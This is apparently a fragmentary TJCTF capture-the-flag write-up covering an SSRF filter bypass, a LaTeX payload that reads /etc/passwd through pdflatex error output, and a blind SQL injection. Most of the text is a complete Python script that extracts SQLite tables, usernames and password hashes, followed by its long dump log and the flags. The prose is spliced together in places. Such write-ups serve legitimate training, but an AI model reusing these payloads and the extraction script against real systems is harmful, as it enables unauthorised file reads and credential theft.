Hack. Eat. Sleep. Repeat!!!
5000.I tried to load it with localhost:5000 and it didn’t work.Oops, it looks like the site has a long list of filters for the service.http://0:5000/admin.tjctf{i_l0v3_ssssSsrF_9o4a8}/input and it didn’t work.pdflatex prints errors to stdout in a special format, so we can do something like \typeout{! abc} to trick the bot into thinking that abc is an error.Payload-:\catcode0=10 % make \0 not produce a syntax error
\catcode9=11 % make \t indents work correctly
\def\n{/etc/passwd}
\def\l{0}
\def\r{420}
\newread\file
\openin\file=\n
\newcounter{line}
\makeatletter
\@whilenum\value{line} < \r \do {
\read\file to \fileline
\stepcounter{line}
\ifnum\value{line} > \l
\typeout{! \fileline}
\fi
}
/etc/passwd file.tjctf{f1l3_i0_1n_l4t3x?}or and --.My teammates discovered a user test which made it easier to use AND and also replaced -- with /*.stats and database.I focused more on dumping database with my script.To avoid wasting time, we’ll focus solely on column user and pass.The crucial user in this chall is tuxtheflagmasteronlylikeslowercaseletters.User’s dump-:[+] Number of tables-:2
[+] Number of Data's strings-:4
[+]Dumping String:table:database:column:user
[+]Finding String Length
[+] String-Length:-:3
[+] Found Char:-:Y
[+] Found Char:-:o
[+] Found Char:-:u
[+] Column user dumped::You
[+]Finding String Length
[+] String-Length:-:4
[+] Found Char:-:t
[+] Found Char:-:e
[+] Found Char:-:s
[+] Found Char:-:t
[+] Column user dumped::test
[+]Finding String Length
[+] String-Length:-:41
[+] Found Char:-:t
[+] Found Char:-:u
[+] Found Char:-:x
[+] Found Char:-:t
[+] Found Char:-:h
[+] Found Char:-:e
[+] Found Char:-:f
[+] Found Char:-:l
[+] Found Char:-:a
[+] Found Char:-:g
[+] Found Char:-:m
[+] Found Char:-:a
[+] Found Char:-:s
[+] Found Char:-:t
[+] Found Char:-:e
[+] Found Char:-:r
[+] Found Char:-:o
[+] Found Char:-:n
[+] Found Char:-:l
[+] Found Char:-:y
[+] Found Char:-:l
[+] Found Char:-:i
[+] Found Char:-:k
[+] Found Char:-:e
[+] Found Char:-:s
[+] Found Char:-:l
[+] Found Char:-:o
[+] Found Char:-:w
[+] Found Char:-:e
[+] Found Char:-:r
[+] Found Char:-:c
[+] Found Char:-:a
[+] Found Char:-:s
[+] Found Char:-:e
[+] Found Char:-:l
[+] Found Char:-:e
[+] Found Char:-:t
[+] Found Char:-:t
[+] Found Char:-:e
[+] Found Char:-:r
[+] Found Char:-:s
[+] Column user dumped::tuxtheflagmasteronlylikeslowercaseletters
[+]Finding String Length
[+] String-Length:-:6
[+] Found Char:-:h
[+] Found Char:-:u
[+] Found Char:-:m
[+] Found Char:-:a
[+] Found Char:-:n
[+] Found Char:-:A
[+] Column user dumped::humanA
[+] Number of tables-:2
[+] Number of Data's strings-:4
[+]Dumping String:table:database:column:pass
[+]Finding String Length
[+] String-Length:-:40
[+] Found Char:-:6
[+] Found Char:-:b
[+] Found Char:-:5
[+] Found Char:-:f
[+] Found Char:-:8
[+] Found Char:-:e
[+] Found Char:-:7
[+] Found Char:-:4
[+] Found Char:-:5
[+] Found Char:-:3
[+] Found Char:-:7
[+] Found Char:-:8
[+] Found Char:-:e
[+] Found Char:-:0
[+] Found Char:-:f
[+] Found Char:-:c
[+] Found Char:-:6
[+] Found Char:-:4
[+] Found Char:-:c
[+] Found Char:-:e
[+] Found Char:-:2
[+] Found Char:-:0
[+] Found Char:-:d
[+] Found Char:-:c
[+] Found Char:-:0
[+] Found Char:-:4
[+] Found Char:-:1
[+] Found Char:-:9
[+] Found Char:-:7
[+] Found Char:-:4
[+] Found Char:-:b
[+] Found Char:-:0
[+] Found Char:-:5
[+] Found Char:-:b
[+] Found Char:-:f
[+] Found Char:-:5
[+] Found Char:-:c
[+] Found Char:-:1
[+] Found Char:-:c
[+] Found Char:-:c
[+] Column pass dumped::6b5f8e745378e0fc64ce20dc041974b05bf5c1cc
[+]Finding String Length
[+] String-Length:-:40
[+] Found Char:-:9
[+] Found Char:-:a
[+] Found Char:-:2
[+] Found Char:-:3
[+] Found Char:-:b
[+] Found Char:-:6
[+] Found Char:-:d
[+] Found Char:-:4
[+] Found Char:-:9
[+] Found Char:-:a
[+] Found Char:-:a
[+] Found Char:-:2
[+] Found Char:-:4
[+] Found Char:-:4
[+] Found Char:-:b
[+] Found Char:-:7
[+] Found Char:-:b
[+] Found Char:-:0
[+] Found Char:-:d
[+] Found Char:-:b
[+] Found Char:-:5
[+] Found Char:-:2
[+] Found Char:-:9
[+] Found Char:-:4
[+] Found Char:-:9
[+] Found Char:-:c
[+] Found Char:-:0
[+] Found Char:-:9
[+] Found Char:-:3
[+] Found Char:-:2
[+] Found Char:-:c
[+] Found Char:-:3
[+] Found Char:-:6
[+] Found Char:-:5
[+] Found Char:-:e
[+] Found Char:-:c
[+] Found Char:-:8
[+] Found Char:-:1
[+] Found Char:-:9
[+] Found Char:-:1
[+] Column pass dumped::9a23b6d49aa244b7b0db52949c0932c365ec8191
[+]Finding String Length
[+] String-Length:-:40
[+] Found Char:-:6
[+] Found Char:-:4
[+] Found Char:-:b
[+] Found Char:-:7
[+] Found Char:-:c
[+] Found Char:-:9
[+] Found Char:-:0
[+] Found Char:-:a
[+] Found Char:-:9
[+] Found Char:-:9
[+] Found Char:-:1
[+] Found Char:-:5
[+] Found Char:-:7
[+] Found Char:-:1
[+] Found Char:-:c
[+] Found Char:-:1
[+] Found Char:-:0
[+] Found Char:-:7
[+] Found Char:-:c
[+] Found Char:-:c
[+] Found Char:-:6
[+] Found Char:-:6
[+] Found Char:-:3
[+] Found Char:-:a
[+] Found Char:-:a
[+] Found Char:-:7
[+] Found Char:-:6
[+] Found Char:-:8
[+] Found Char:-:5
[+] Found Char:-:1
[+] Found Char:-:4
[+] Found Char:-:8
[+] Found Char:-:2
[+] Found Char:-:2
[+] Found Char:-:8
[+] Found Char:-:9
[+] Found Char:-:6
[+] Found Char:-:f
[+] Found Char:-:4
[+] Found Char:-:9
[+] Column pass dumped::64b7c90a991571c107cc663aa768514822896f49
[+]Finding String Length
[+] String-Length:-:40
[+] Found Char:-:9
[+] Found Char:-:a
[+] Found Char:-:a
[+] Found Char:-:8
[+] Found Char:-:8
[+] Found Char:-:8
[+] Found Char:-:e
[+] Found Char:-:9
[+] Found Char:-:a
[+] Found Char:-:d
[+] Found Char:-:7
[+] Found Char:-:f
[+] Found Char:-:2
[+] Found Char:-:1
[+] Found Char:-:9
[+] Found Char:-:a
[+] Found Char:-:1
[+] Found Char:-:3
[+] Found Char:-:3
[+] Found Char:-:4
[+] Found Char:-:8
[+] Found Char:-:3
[+] Found Char:-:6
[+] Found Char:-:2
[+] Found Char:-:b
[+] Found Char:-:4
[+] Found Char:-:d
[+] Found Char:-:f
[+] Found Char:-:4
[+] Found Char:-:e
[+] Found Char:-:4
[+] Found Char:-:1
[+] Found Char:-:d
[+] Found Char:-:a
[+] Found Char:-:3
[+] Found Char:-:3
[+] Found Char:-:c
[+] Found Char:-:b
[+] Found Char:-:4
[+] Found Char:-:8
[+] Column pass dumped::9aa888e9ad7f219a13348362b4df4e41da33cb48
64b7c90a991571c107cc663aa768514822896f49-:#! /usr/bin/env python3
import asyncio
import requests
import string
from rich.table import Table
from rich.console import Console
url = "https://chill-site-019525b981483b06.tjc.tf"
charset = string.printable
valid_word = "Password (hashed): 9a23b6d49aa244b7b0db52949c0932c365ec8191"
async def count_table():
for i in range(100):
payload = f"test' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) = {i+1}/*"
data = {"username":payload,"password":"z"}
res = requests.post(url,data=data).text
if valid_word in res:
print(f"[+] Number of tables-:{i+1}")
return i+1
break
async def find_tableLength(length):
print("[+]Finding table Length")
while True:
for length in range(length,length+1):
for i in range(100):
payload= f"test' and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' LIMIT {length+1} OFFSET {length}) = {i+1}/*"
data = {"username":payload,"password":"z"}
res = requests.post(url,data=data).text
if valid_word in res:
print(f"[+] Table-Length:-:{i+1}")
return i+1
break
async def read_tableChar(tables_number):
table_name = []
for i in range(0,tables_number):
table_name.append("")
length = await find_tableLength(i)
for digit in range(0,length):
for char in charset:
payload = f"test' and (SELECT hex(substr(tbl_name,{digit+1},1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit {i+1} offset {i}) = hex('{char}')/*"
data = {"username":payload,"password":"z"}
res = requests.post(url,data=data).text
if valid_word in res:
print(f"[+] Found Char:-:{char}")
table_name[i] += char
break
if len(table_name[i]) == length:
print(f"[+] Table Found: {table_name[i]}")
pass
if len(table_name) == tables_number:
#print(f"[+] Tables:{table_name}")
break
return table_name
async def count_columns(table: str):
while True:
print(f"[+] Table:{table}")
for digit in range(500):
payload = f"test' and (SELECT count(name) FROM PRAGMA_TABLE_INFO('{table}'))={digit+1}/*"
data = {"username":payload,"password":"z"}
res = requests.post(url,data=data).text
if valid_word in res:
print(f"[+] Number of Columns-:{digit+1}")
return digit+1
break
async def find_columnLength(length: int,table: str):
print("[+]Finding Columnn Length")
while True:
for length in range(length,length+1):
for i in range(100):
payload= f"test' and (SELECT length(name) FROM PRAGMA_TABLE_INFO('{table}') LIMIT {length+1} OFFSET+{length})={i}/*"
data = {"username":payload,"password":"z"}
res = requests.post(url,data=data).text
if valid_word in res:
print(f"[+] Column-Length:-:{i}")
return i
break
async def read_columnChars(column_number,table_name):
column_names = {}.fromkeys([table_name])
print(f"[+]Dumping Columns:table:{table_name}")
column_names[table_name] = []
for i in range(0,column_number):
column_names[table_name].append("")
length = await find_columnLength(i,table_name)
for digit in range(0,length):
for char in charset:
payload = f"test' and (select case substr(name,1,{digit+1}) WHEN '{column_names[table_name][i] +char}' THEN 1 ELSE 1/0 END FROM PRAGMA_TABLE_INFO('{table_name}') LIMIT {i+1} OFFSET {i})/*"
data = {"username":payload,"password":"z"}
res = requests.post(url,data=data).text
if valid_word in res:
print(f"[+] Found Char:-:{char}")
column_names[table_name][i] += char
break
if (len(column_names[table_name][i]) == length):
print(f"[+] Column name dumped::{column_names[table_name][i]}")
pass
if len(column_names[table_name]) == column_number:
#print(f"[+] ColumnDumped::{column_names}")
break
return column_names
async def count_Data(column_name,table_name):
while True:
for digit in range(200):
payload = f"test' and (SELECT count({column_name}) FROM {table_name})={digit}/*"
data = {"username":payload,"password":"z"}
res = requests.post(url,data=data).text
if valid_word in res:
print(f"[+] Number of Data's strings-:{digit}")
return digit
break
async def count_stringLength(data_length,column_name,table_name):
print("[+]Finding String Length")
while True:
for length in range(data_length,data_length+1):
for i in range(100):
payload= f"test' and (SELECT length({column_name}) FROM {table_name} LIMIT {length+1} OFFSET {length})={i}/*"
data = {"username":payload,"password":"z"}
res = requests.post(url,data=data).text
if valid_word in res:
print(f"[+] String-Length:-:{i}")
return i
break
async def readChars(data_length,column_name,table_name):
data_names = {}.fromkeys([column_name])
print(f"[+]Dumping String:table:{table_name}:column:{column_name}")
data_names[column_name] = []
for i in range(0,data_length):
data_names[column_name].append("")
length = await count_stringLength(i,column_name,table_name)
for digit in range(0,length):
for char in charset:
payload = f"test' and (select case substr({column_name},1,{digit+1}) WHEN '{data_names[column_name][i]+char}' THEN 1 ELSE 1/0 END FROM {table_name} LIMIT {i+1} OFFSET {i})/*"
data = {"username":payload,"password":"payload"}
res = requests.post(url,data=data).text
if valid_word in res:
print(f"[+] Found Char:-:{char}")
data_names[column_name][i] += char
break
if (len(data_names[column_name][i]) == length):
print(f"[+] Column {column_name} dumped::{data_names[column_name][i]}")
pass
if len(data_names[column_name]) == data_length:
print(f"[+] ColumnDumped::{data_names}")
return data_names
break
async def createTable(data: list) -> None:
table = Table(title="Tables")
console = Console()
table.add_column(f"Table_names::{len(data)}", justify="center", style="cyan", no_wrap=True)
for d in data:
table.add_row(d)
console.print(table)
async def createColumns(data: dict) -> None:
data_keys = data.keys()
console = Console()
table = Table(title="Tables Columns")
table.add_column(f"Table_names::{len(data)}", justify="center", style="cyan", no_wrap=True)
table.add_column(f"Column_names::{len(data)}", justify="left", style="cyan")
for i in data_keys:
table.add_row(i,','.join(column for column in data[i]))
console.print(table)
async def createData(data: dict,table) -> None:
data_keys = data.keys()
console = Console()
table = Table(title=f"Table::{table}")
for d in data.keys():
table.add_column(f"{d}", justify="center", style="cyan", no_wrap=True)
for i in data[d]:
table.add_row(i)
console.print(table)
async def main():
#tables_number: str = await count_table()
#tables = await read_tableChar(tables_number)
tables = ['database']
await createTable(tables)
for table in tables:
#column_number = await count_columns(table)
#columns = await read_columnChars(column_number,table)
columns = {'database': ['pass','user', 'time']}
await createColumns(columns)
for column in columns[table]:
data_length = await count_Data(column,table)
data = await readChars(data_length,column,table)
#data = {'user': ['You', 'test', 'TuxTheFlagMaster', 'humanA']}
await createData(data,table)
if __name__ == "__main__":
asyncio.run(main())
allsgud and accessed the account for user tuxtheflagmasteronlylikeslowercaseletters to get the flag.tjctf{3verth1ng_i5_fin3}